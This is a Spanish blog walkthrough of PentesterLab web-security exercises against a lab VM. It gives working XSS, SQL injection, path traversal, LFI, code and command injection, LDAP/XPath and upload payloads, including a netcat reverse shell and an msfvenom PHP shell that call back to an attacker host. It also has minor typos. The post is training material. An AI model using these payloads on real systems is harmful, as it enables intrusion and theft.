PENTESTING LABS

“I consider PentesterLab to be a great resource for learning about web application security and ways how it can be subverted. Even though the exercises usually don’t take much time to complete they can teach a lot. I can’t but recommend it, especially to any aspiring junior penetration testers out there.”

JAN KOPRIVACSIRT (CSIRT)Team Lead

RESUMEN DE CONTENIDOS.

XSS ATTACKS:

EXAMPLE 1

El siguiente ejemplo se trata de una vulnerabilidad XSS de tipo reflejado:

http://192.168.86.141/xss/example1.php?name=hacker<script>alert("Hacked")</script>

EXAMPLE 2

El siguiente ejemplo es una vulnerabilidad XSS de tipo reflejado afectada por el siguiente payload:

http://192.168.86.141/xss/example2.php?name=hacker<image/src/onerror=alert(%27hacked%27)>

EXAMPLE 3

El siguiente ejemplo es un XSS de tipo reflejado vulnerable con la siguiente URL:

http://192.168.86.141/xss/example3.php?name=hacker<svg/onload=alert(%27hacked%27)>"@x.y

EXAMPLE 4

El siguiente ejemplo es vulnerable a la siguiente URL:

http://192.168.86.141/xss/example4.php?name=hacker<svg/onload=alert(%27hacked%27)>"@x.y

EXAMPLE 5

El siguiente ejemplo es vulnerable a la siguiente URL:

http://192.168.86.141/xss/example5.php?name=<embed%20src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">

EXAMPLE 6

El siguiente ejemplo es vulnerable a la siguiente URL:

http://192.168.86.141/xss/example6.php?name=hacker";(prompt)``//

EXAMPLE 7

El siguiente ejemplo es vulnerable a la siguiente URL:

http://192.168.86.141/xss/example7.php?name=hacker%27;(prompt)``//

EXAMPLE 8

El siguiente ejemplo (PHP_SELF REFLECTED XSS) es vulnerable a la siguiente URL:

Código fuente de origen
Podemos observar como ‘/»>’ cierra la petición y abre paso al payload.

En este ejemplo se puede comprobar que la petición de tipo POST hace referencia a la página web en sí misma, por lo que si introducimos: ‘ «> ‘ al final de la URL, cierra la etiqueta anterior y abre la nueva <script>

http://192.168.86.141/xss/example8.php/"><script>alert('hacked')</script>

EXAMPLE 9

El siguiente ejemplo es un XSS de tipo DOM reflected:

http://192.168.86.141/xss/example9.php#<script>alert(12)</script>

Solo es vulnerable en navegadores de versiones antiguas.

Ataque no soportado en navegadores modernos.

Vulnerable a navegadores antiguos.
No vulnerable a navegadores modernos.

SQLI ATTACKS:

EXAMPLE 1:

El siguiente ejemplo es vulnerable a los siguientes payloads:

(BURPSUIT INTRUDER)

wordlist: sqli-logic.txt

-1'||'1'='1
-1'oR'1'='1
http://192.168.86.141/sqli/example1.php?name=[FUZZ]

EXAMPLE 2:

El siguiente ejemplo es vulnerable a los siguientes payloads:

(BURPSUIT INTRUDER)

wordlist: sqli-logic.txt

-1'||'1'='1
-1'oR'1'='1
http://192.168.86.141/sqli/example2.php?name=[FUZZ]

EXAMPLE 3:

El siguiente ejemplo es vulnerable a los siguientes payloads:

(BURPSUIT INTRUDER)

wordlist: sqli-logic.txt

-1'||'1'='1
-1'oR'1'='1
http://192.168.86.141/sqli/example3.php?name=[FUZZ]

EXAMPLE 4:

El siguiente ejemplo es vulnerable a los siguientes payloads:

(BURPSUIT INTRUDER)

wordlist: sqli-logic.txt

-1'||'1'='1
-1'oR'1'='1
http://192.168.86.141/sqli/example3.php?name=[FUZZ]
Petición de herramienta intruder.
Resultado del ataque.

EXAMPLE 5:

(SQLMAP) (Time Based Blind y Union query)

Aplicando el siguiente comando:

sqlmap -u '192.168.86.141/sqli/example5.php?id=1' -p id
Resultado de la Herramienta SQLMap

EXAMPLE 6:

(CUSTOM PAYLOAD)

VULNERABLES A : OR, LENGTH(())=[numero], ASCII

2 OR [1=1]
Herramienta Repeater de Burpsuite

EXPLICACIÓN:

Inyección condicional (ciegas):
Ya que puedes usar comparaciones numéricas, una posible técnica sería la inyección SQL ciega (blind SQL injection),
donde basas tu ataque en respuestas condicionales (true/false) sin que se muestre directamente el resultado de la consulta.
Esto es útil para extraer información poco a poco.

Resultado del ataque SQLI Blind

Ejemplo de SQL ciego para verificar el nombre de la base de datos:

  1. Podrías intentar averiguar la longitud del nombre de la base de datos usando una comparación como esta:
url:http://192.168.86.141/sqli/example6.php?id=2 OR LENGTH(database())=9

Si el nombre de la base de datos tiene 5 caracteres, el resultado será verdadero y puede que la página lo refleje
(mostrando datos o comportándose de forma diferente).
Puedes seguir ajustando el número hasta encontrar la longitud exacta.

  1. Enumeración de tablas o columnas:

Utilizando el mismo enfoque de inyección SQL ciega, puedes tratar de adivinar el contenido de las tablas o columnas.

Para MySQL, por ejemplo, las tablas se almacenan en la base de datos interna llamada «information_schema».
Para verificar si existe una tabla con un nombre en particular:

url:http://192.168.86.141/sqli/example6.php?id=2 OR
(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database() AND table_name='users') > 0
Esto devolvería verdadero si existe una tabla llamada users en la base de datos actual.

Aunque solo puedes usar comparaciones numéricas, todavía puedes extraer mucha información con estos enfoques, pero debes tener paciencia al usar técnicas como SQL ciego.

EXAMPLE 7:

(REGEX \m ): Modificador \m (Multi-line):

http://192.168.86.141/sqli/example7.php?id=2%0A%20or%200=0

Explicación:

El modificador m (Multi-line) en una expresión regular cambia cómo el carácter
de nueva línea (\n) es interpretado al buscar coincidencias.
En el contexto de un ataque SQL Injection (SQLi), este modificador puede ser aprovechado
de la siguiente manera:

Sin el modificador m: los delimitadores de inicio ^ y de fin $ coinciden solamente con el inicio
y el final de toda la cadena de texto.

Con el modificador m: esos delimitadores también coinciden con el inicio y el final de cada
línea dentro de una cadena multi-línea.

El mal uso del modificador m en validaciones puede hacer que las entradas de usuario
con saltos de línea no sean correctamente validadas, permitiendo inyecciones SQL que
se aprovechan de las múltiples líneas en la entrada.

\m = %0A (codificado URL)

EXAMPLE 8:

(SQLMAP ATTACK)

sqlmap -u http://192.168.86.141/sqli/example8.php?order=name --risk=3 --level=5 --dump

EXAMPLE 9:

(SQLMAP ATTACK)

sqlmap -u http://192.168.86.141/sqli/example9.php?order=name --risk=3 --level=5 --dump

DIRECTORY TRAVERSAL EXAMPLES:

Código fuente de los ejercicios.

EXAMPLE 1:

El siguiente ejemplo, se resuelve con la siguiente URL:

http://192.168.86.141/dirtrav/example1.php?file=../../../../etc/passwd

EXAMPLE 2:

El siguiente ejemplo, se resuelve con la siguiente URL:

http://192.168.86.141/dirtrav/example2.php?file=/var/www/files/../../../../../etc/passwd

EXAMPLE 3:

El siguiente ejemplo, se resuelve con la siguiente URL, y haciendo uso del intruder:

http://192.168.86.141/dirtrav/example3.php?file=/../../../../../../../../etc/passwd%00
Intruder
Payloads

LOCAL FILE INCLUSION:

EXAMPLE 1:

URL: http://192.168.86.141/fileincl/example1.php?page=intro.php

Esta página presenta tres niveles de vulnerabilidad:

  • A) Inclusion de archivos para leer ficheros–> ?page=/../../etc/passwd
  • B) Remote Code Execution con PHPWrappers–> ‘php: //input’&’cmd=ls’: Invocas CMD en la peticion GET: «echo shell_exec»
  • C) Shell Reversa TCP–>
    Empleando intruder y netcat, con una lista de comandos para crear reverse tcp shell_exec
    ganamos shell remota.
    ATACANTE: nc -vltp 9191 VICTIMA: ?page=php://input&cmd=nc%20-e%20%2fbin%2fbash%20192%2e168%2e86%2e142%209191
LFI 1.1
LFI 1.2
LFI 1.3

EXAMPLE 2:

NULLBYTE: http://192.168.86.141/fileincl/example2.php?page=../../../etc/passwd%00

En versiones de PHP inferiores a 5.3.4 podemos terminar con un byte nulo.

CODE INJECTION:

EXAMPLE 1:

Abuso de la función eval():

http://192.168.86.141/codeexec/example1.php?name="?><?eval(%27echo%20shell_exec("whoami");%27);?>

EXAMPLE 2:

Uso de la herramienta commix:

commix -u http://192.168.86.141/codeexec/example2.php?order=name --method=GET --random-agent --all --shellshock -p 'order' --os='Unix'

PAYLOAD: name.print(echo ZRACDT.echo $((30+61)).echo ZRACDT.echo ZRACDT)

EXAMPLE 3:

Uso de la herramienta commix:

commix -u 'http://192.168.86.141/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello%20lamer' --method=GET --random-agent --all --shellshock --os='Unix'

EXAMPLE 4:

Uso de la herramienta commix:

ommix -u 'http://192.168.86.141/codeexec/example4.php?name=hacker' --method=GET --random-agent --all -p 'name' --shellshock --os='Unix'

PAYLOAD: hacker’.print(echo VXQLDM.echo $((70+15)).echo VXQLDM.echo VXQLDM).’

REMOTE COMMAND INJECTION:

EXAMPLE 1:

URL:http://192.168.86.141/commandexec/example1.php?ip=127.0.0.1;whoami;pwd

EXAMPLE 2:

URL: http://192.168.86.141/commandexec/example2.php?ip=127.0.0.1%0Acat%20/etc/passwd

EXAMPLE 3:

Uso de la Herramienta Burpsuite:

URL: GET /commandexec/example3.php?ip=127.0.0.1%0Acat%20%2fetc%2fpasswd HTTP/1.1

LDAP ATTACKS:

EXAMPLE 1:

URL:http://192.168.86.141/ldap/example1.php?username=hacker&password=hacker

Al realizar todo tipo de pruebas con intruder sobre el param. username
siempre volcaba error NOT AUTHENTICATED, pero si es correcta la contraseña
ya que utilicé hydra para revelar todas las contraseñas de LDAP junto con
sus nombres de usuario (Usando LDAPSearch).

Entonces decidí usar el modulo repeater de BURPSUITsuite para intentar cambiar
el método de la petición y obtener algo diferente. Así fué:

Método POST

Es curiosa esta vulnerabilidad ya que me permite autenticarme sin introducir ningún
parámetro, solo por cambiar al método POST.

Así que, en conclusión, borramos todos los parámetros de la url y navegamos,
el mensaje que aparece es: AUTHENTICATED.

EXAMPLE 2:

URL: http://192.168.86.141/ldap/example2.php?name=%2a))%00&password=*

Esta vez si, en el parámetro name, le realizo la prueba de inyección con una
lista sencilla de payloads con el modulo intruder. El resultado es el siguiente:

FILE UPLOADS:

EXAMPLE 1:

http://192.168.86.141/upload/example1.php

EXPLOTACIÓN: Generar shell reversa con msfvenom

msfvenom -p php/reverse_php LHOST=192.168.86.142 LPORT=9999 --arch php --platform php -o php_reverse_shell.php
netcat -lvnp 9999 (Activar escucha)

ACCIÓN: Subir el archivo generado y navegar:

http://192.168.86.141/upload/images/php_reverse_shell.php

EXAMPLE 2:

 URL: http://192.168.86.141/upload/example2.php

EXPLOTACIÓN: Misma técnica que en el ejemplo anterior. Esta vez
no se nos permite subir un archivo php, por eso, cambiamos el formato
del payload a PHTML. Y se resuelve.

XML ATTACKS

EXAMPLE 1:

 URL: GET /xml/example1.php?xml=<test>hacker</test><h1>I+AM+GOD</h1>

EXPLOTACIÓN: Se permite añadir mas etiquetas html despues de
lo que nos permite modificar la pagina a antojo. También funciona
con alert(1).

EXAMPLE 2:

Abuso de XPATH:

URL: 192.168.86.141/xml/example2.php?name=' or '1'='1

Impulsado a duras penas por WordPress

Diseña un sitio como este con WordPress.com
Comenzar